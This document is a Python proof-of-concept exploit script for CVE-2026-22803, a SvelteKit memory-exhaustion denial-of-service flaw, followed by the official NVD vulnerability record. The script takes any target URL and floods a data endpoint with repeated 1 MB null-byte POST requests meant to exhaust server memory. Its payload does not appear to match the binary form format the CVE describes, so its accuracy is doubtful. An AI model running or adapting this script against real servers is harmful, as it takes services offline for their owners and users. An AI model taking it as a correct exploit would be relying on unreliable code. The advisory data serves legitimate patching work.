CVE-2026-22803

import requests import sys # CVE-2026-22803 PoC - SvelteKit Memory Exhaustion DoS # Target: SvelteKit servers with form action enabled (versions 2.49.0-2.49.4) def exploit_sveltekit(target_url): """ Exploit SvelteKit form remote function memory exhaustion vulnerability. Send specially crafted binary payload to trigger excessive memory allocation. """ # Create a large binary payload that triggers memory exhaustion # The form data is serialized using a binary format # Sending repeated large payloads can exhaust server memory # Form action endpoint endpoint = f"{target_url.rstrip('/')}/?__data.json" # Create large payload with repeated form data fields # This triggers excessive memory allocation in the binary parser large_payload = b'\x00' * 1024 * 1024 # 1MB of null bytes # Additional crafted data to trigger parsing vulnerability exploit_data = { '__data': large_payload, 'form': 'remote' } print(f"[*] Targeting: {target_url}") print(f"[*] Sending exploit payload to: {endpoint}") print(f"[*] Payload size: {len(large_payload)} bytes") try: # Send multiple requests to exhaust memory for i in range(10): print(f"[*] Sending request {i+1}/10...") response = requests.post(endpoint, data=exploit_data, timeout=30) print(f"[+] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - server may be exhausted") except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] exploit_sveltekit(target)

{"cve": {"id": "CVE-2026-22803", "sourceIdentifier": "[email protected]", "published": "2026-01-15T19:16:06.120", "lastModified": "2026-01-21T20:34:46.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SvelteKit is a framework for rapidly developing robust, performant web applications using Svelte. From 2.49.0 to 2.49.4, the experimental form remote function uses a binary data format containing a representation of submitted form data. A specially-crafted payload can cause the server to allocate a large amount of memory, causing DoS via memory exhaustion. This vulnerability is fixed in 2.49.5."}, {"lang": "es", "value": "SvelteKit es un framework para desarrollar rápidamente aplicaciones web robustas y de alto rendimiento utilizando Svelte. Desde la versión 2.49.0 hasta la 2.49.4, la función remota experimental de formularios utiliza un formato de datos binarios que contiene una representación de los datos de formulario enviados. Una carga útil especialmente diseñada puede hacer que el servidor asigne una gran cantidad de memoria, causando DoS por agotamiento de memoria. Esta vulnerabilidad está corregida en la versión 2.49.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:svelte:kit:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.49.0", "versionEndExcluding": "2.49.5", "matchCriteriaId": "B5934633-0268-4EE3-9659-8C502C327D41"}]}]}], "references": [{"url": "https://github.com/sveltejs/kit/commit/8ed8155215b9a74012fecffb942ad9a793b274e5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sveltejs/kit/releases/tag/@sveltejs%[email protected]", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/sveltejs/kit/security/advisories/GHSA-j2f3-wq62-6q46", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}